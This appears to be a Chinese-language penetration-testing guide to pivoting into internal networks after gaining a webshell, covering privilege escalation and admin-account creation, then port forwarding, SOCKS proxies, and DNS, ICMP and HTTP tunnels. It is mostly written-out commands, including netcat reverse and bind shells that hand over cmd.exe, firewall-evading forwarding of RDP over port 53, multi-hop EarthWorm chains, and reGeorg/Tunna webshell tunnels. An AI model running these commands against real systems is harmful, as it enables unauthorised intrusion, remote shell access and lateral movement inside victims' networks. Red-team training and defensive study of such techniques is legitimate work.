当我们拿到了网站的webshell后进行提权,建立管理员帐号或者破解原有的管理员密码。紧接着开启目标服务器远程桌面,然而它却是处于内网的服务器。
如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些工具来达到我们的目的。
这几个概念其实是比较难区分的,特别是和后面的内网穿透混在一起,在宏观上说,他们差别不大。但是究其本质还是存在不小的差别的。现在就先对这几个概念说一下我个人的理解:
工具名称 | 主要用途 | 平台 | 备注 |
---|---|---|---|
lcx | 端口映射 | Windows | 只支持tcp协议的端口转发,非系统内置。linux下叫做可以实现端口转发和端口映射 |
netsh | 端口映射 | Windows | 只支持tcp协议的端口转发,需要安装ipv6 |
rinetd | 反向代理 | Linux | 非内置,需要自行安装 |
Earthworm | 端口映射、Socks5代理 | Linux、Windows、MacOS、Arm-Linux | 非系统内置,可以十分方便的支持多级转发 |
frp | 高性能的反向代理应用 | go | 基于反向代理,可以十分灵活的进行内网穿透,绕过防火墙 |
reGeorg | Socks5 代理 | 常见脚本语言 | reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言 |
Metasploit portfwd | 端口映射 | MSF -> Metpreter会话 | 需要网络状况较好 |
socat | 端口映射 | Linux | 可能需要安装 |
Metasploit->socks4a | 反向代理 | MSF -> Metpreter会话 | 需要会话主机有外网代理IP |
tunna | HTTP隧道 | 常见脚本语言 | 需脚本环境执行,并且不太稳定 |
localtuuel | 内网公网映射 | nodojs | 和ngork一样可以实现内网到公网端口的映射 |
ngork | 内网公网映射 | go | 可以选择自建服务器或则和使用工具自带的服务器 |
dns2tcp | DNS隧道 | kaii内置 | 防火墙过滤内部tcp出站策略的情况下,走DNS隧道,,通过DNS流量中继TCP连接 |
Iodine | DNS隧道 | linux | 原理上和dns2tcp类似 |
icmpsh | ICMP隧道 | 需要root权限 | 需要禁止系统对icmp的相应,用工具来处理收发icmp包 |
由于linux主机出于安全考虑,系统参数/proc/sys/net/ipv4/ip_forward默认为0,所以是禁止NAT功能的,我们可以通过以下两种你方式修改系统运行时的参数。
echo 1 >/proc/sys/net/ipv4/ip_forward
运行vi /etc/sysctl.conf
找到下面的值并将0改成1
net.ipv4.ip_forward = 1
运行sysctl –p,使改动立即生效 。
下面是一个转发的示例
#1.1.1.1是公网ip,192.168.2.2内网ip
iptables -t nat -A PREROUTING -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080
iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1
service iptables save
这样就会使得访问1.1.1.1:80 映射到了192.168.2.2:8080端口。
远程主机上开启监听
nc -l -p 5555 -e -t cmd.exe(-t是通过 telnet 模式执行 cmd.exe 程序,可以省略。)
kali(本地主机上)连接
nc -nvv 192.168.95.12(远程主机ip) 5555
成功后,本地主机就获得了远程主机的一个cmd shell。
kali开启监听
nc -lnvp 7777
目标返向连接
nc -e cmd.exe 192.168.95.128 7777
成功后,本地主机就获得了远程主机的一个cmd shell。
这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道,配置VPN都比较简单,这里不做赘述,我们看一看通过SSH隧道进行代理
#!bash
ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,监听本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
SSH -qTfnN -D port remotehost #直接进行socks代理
参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~
有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发
#!bash
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
windows自带规则配置工具
添加一条规则:将远程的3389端口转发到本地的7777端口上
netsh interface portproxy add v4tov4 listenport=7777 connect=3389 connectaddress=192.168.93.10 protocol=tcp
查看转发规则:netsh interface portproxy dump
删除转发规则:netsh interface portproxy delete v4tov4 listenport=7777
lcx-
lcx.exe –slave 公网 IP + 端口 内网 IP + 端口
例如把内网主机192.168.1.521的 3389 端口转发到具有公网ip主机192.168.1.520的 4444 端口的命令为:
lcx.exe –slave 192.168.1.520 4444 192.168.1.521 3389
lcx.exe –listen 公网主机端口1 公网主机端口2
例如监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口的命令为:
lcx -listen 4444 5555
如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53
socat这个端口转发我们其实更常用在ssrf构造payload的时候本地抓包,因为socat有记录转发流的功能。将socat作为中介捕获我们构造的payload包,然后进行进一步的操作,如gopher协议的构造。
#安装
yum install -y socat
apt install -y socat
#TCP
nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000
TCP4-LISTEN:10000 监听 ipv4 的 10000TCP 端口。 10000 改成你自己需要转发的端口
fork TCP4:1.1.1.1:10000 转发到 1.1.1.1 的 10000 端口,根据需求修改自行修改 ip 和端口
nohup 后台运行。可以把这个命令写到 /etc/rc.local 里面开机启动启动。
#UDP
nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000
一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。
1. 在反弹的shell中添加路由,如
run autoroute -s 192.168.122.0/24
2. 使用socks4a模块并设置端口
use auxiliary/server/socks4a
3. 配置proxychains
在MSF渗透框架里面内置了端口转发的命令,在回弹了shell的条件下可以直接使用,下面式相关参数解析。
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L 转发: 本地监听地址 反向: 本地主机连接到某个地址
-R 表示正向反向端口
-h 帮助信息
-i 端口转发条目的索引与交互(请参阅“列表”命令)
-l 转发:本地端口收听 反向:本地端口连接
-p 转发:远程端口连接 反向:远程端口监听
-r 转发:连接到远程主机
生成一个监听
portfwd add -l 1389 -r 192.168.93.10 -p 3389
查看已建立的规则: portfwd list
连接:rdesktop 192.168.0.108:1389 (此处是msf的地址)
例子:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389
portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877
当外部主机是linux时,可使用其进行转发操作
lhost lport rhost rport
# 安装,注意到centos没有其默认的软件源,需要手动导入;ubuntu的比较方便
#centos 32
$ vim /etc/yum.repos.d/nux-misc.repo
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
#centos 64
$ vim /etc/yum.repos.d/nux-misc.repo:
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
$ yum --enablerepo=nux-misc install rinetd
# ubuntu
$ apt-get install rinetd
#配置文件在/etc/rinetd.conf,配置参数格式
[bindaddress] [bindport] [connectaddress] [connectport]
绑定的地址 绑定的端口 连接的地址 连接的端口
[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址 源端口 目的地址 目的端口
#举例
$ vim /etc/rinetd.conf
0.0.0.0 8080 172.19.94.3 8080
0.0.0.0 2222 192.168.0.103 3389
1.2.3.4 80 192.168.0.10 80
allow *.*.*.*
logfile /var/log/rinetd.log
#解释
0.0.0.0表示本机绑定所有可用地址
将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
allow设置允许访问的ip地址信息,*.*.*.*表示所有IP地址
logfil设置打印的log的位置
# 运行
#脚本启动
$ /etc/init.d/rinetd start
#二进制启动
$ /usr/sbin/rinetd -c /etc/rinetd.conf
#关闭(使用脚本,或则和pkill)
$ /etc/init.d/rinetd stop
方法1:htran.exe -p -tran lport lhost lport
方法2:htran.exe -p -slave rhost rport lhost lport portmap -m 2 -p1 xxxx -p2 xxxx
方法1:htran.exe -p -tran lport rhost rport
方法2:
将本地(win2012)的3389转发到目标(win2008)的7777上
htran.exe -p -slave rhost(192.168.93.20) rport(7777) lhost(127.0.0.1) lport(3389)
在目标上(win2008)监听本地7777端口,转发到9999端口htran.exe -p -listen 7777 9999
attack 连接(win2008)9999端口,相当于连接了win2012的3389:rdesktop 192.168.0.106:9999
转发内网端口
socket.exe TCP4-LISTEN:5555.reuseaddr.fork TCP4:192.168.93.10:3389
转发内网端口
FPipe.exe -l lport -r rport rhost -v
cs生成一个客户端,将其拿到目标机器是上运行,拿到一个会话
然后进入交互模式
rportfwd 8888 rhost 3389
rportfwd stop 8888
一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。
1.添加路由:run post/multi/manage/autoroute
2.查看路由:run autoroute -p
3.添加socks代理:use auxiliary/server/socks4a
4.使用代理链工具调用代理:proxychains rdesktop 192.168.93.10
工具的地址: http://rootkiter.com/EarthWorm/
这是个国产的打洞神器,因为其方便的多级转发,支持反向代理等特性,在内网渗透领域可是响当当的。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
用法:
WIN:ew_win32.exe -s ssocksd -l 1080
$ ./ew -s ssocksd -l 1080
流量走向:A <··> B:1080 <··> C
开启机器的1080端口做正向代理,我们可以通过链接该机器的1080端口进行端口代理转发。一般的场景为:kali 通过proxychain 链接开启了正向代理的公网ip。
#公网主机A,ip假设为1.1.1.1
./ew -s rcsocks -l 1080 -e 8888
# 目标机B
./ew -s rssocks -d 1.1.1.1 -e 8888
WIN:
公网主机winA流量转发,ip假设为1.1.1.1:
ew_win32.exe -s rssocks -l 1080 -e 8888
winB转发自身流量到A的8888端口:
ew_win32.exe -s rssocks -d 192.168.93.20 -e 8888
kali连接:proxychains rdesktop 192.168.93.10
流量走向:kali <··> A:1080 <··> A:8888 <··>B
在前面的两个场景中,我们看到了rcsocks,ssocksd,rssocks这三个命令的使用。在多级转发中我们会见到另外三个命令的作用。他们就类似于中间件,负责隧道导流与串接。
#命令使用举例:
# lcx_listen 用在将本机的端口进行转发
$ ./ew -s lcx_listen -l 1080 -e 8888
# lcx_tran 将本机端口与目的ip地址的端口进行转发
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
# lcx_slave 作为奴隶,将本机直接可达的两个主机实体上的端口进行转发
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
下面我们来看个实际渗透三级级联例子:
# 我们自己的VPS执行
$ ./ew -s rcsocks -l 1080 -e 8888
# 跳板机A执行
$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999
# 跳板机B执行
$ ./ew -s lcx_listen -l 9999 -e 7777
# 跳板机C执行
$ ./ew -s rssocks -d ip_B -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。
添加代理:socks 1080
反弹一个shell:shell 7777
服务端执行:ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.0.108" --no-cache
客户端连接:dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108
操作
查看所有的会话:windows
与指定会话交互:session -i
得到一个shell:shell
转到主界面:ctrl+z
https://github.com/yarrick/iodine
https://www.freebuf.com/articles/system/178214.html
https://blog.csdn.net/weixin_36440115/article/details/76400359
备选,遇linux主机可一试
服务端执行:iodined -p 123456 -f -DD 192.168.0.108 abc.com
客户端:iodine -p 123456 -f -r -T TXT 192.168.0.108 abc.com
https://pkgs.org/download/dns2tcp
http://pwdme.cc/2016/11/11/dns2tcp-dns-tunnel/
https://kali.tuisec.win/kalitools/dns2tcp_zh.html
https://www.aldeid.com/wiki/Dns2tcp
java -jar reDuhClient.jar http://192.168.0.108/reduh.jsp
nc -w localhost 1010
[create Tunnel]1234:127.0.0.1:3389
Tunna工具地址
把代理脚本上传到目标服务器,然后通过代理内网的某个端口,将敏感端口流量转发了外网的的某个端口,再通过本地连接外网的端口进行连接。
将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析
python proxy.py -u http://192.168.0.108/conn.php -l 4444 -r 3389 -s -v --no-socks
本地执行:rdesktop 127.0.0.1:4444
reGeorg工具地址
Neo-reGeorg (支持客户端的加密)
设置密码并生成隧道文件:python neoreg py generate -k Scantime
将隧道文件放到目标服务器的web目录,连接web服务器并建立本地socks代理:python neoreg.py -k scantime -u http://192.168.0.108/tunnel.php
Socks连接工具连接本地
运行前执行:sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端:icmpsh_m.py lhost rhost
客户端:icmpsh.exe -t serverhost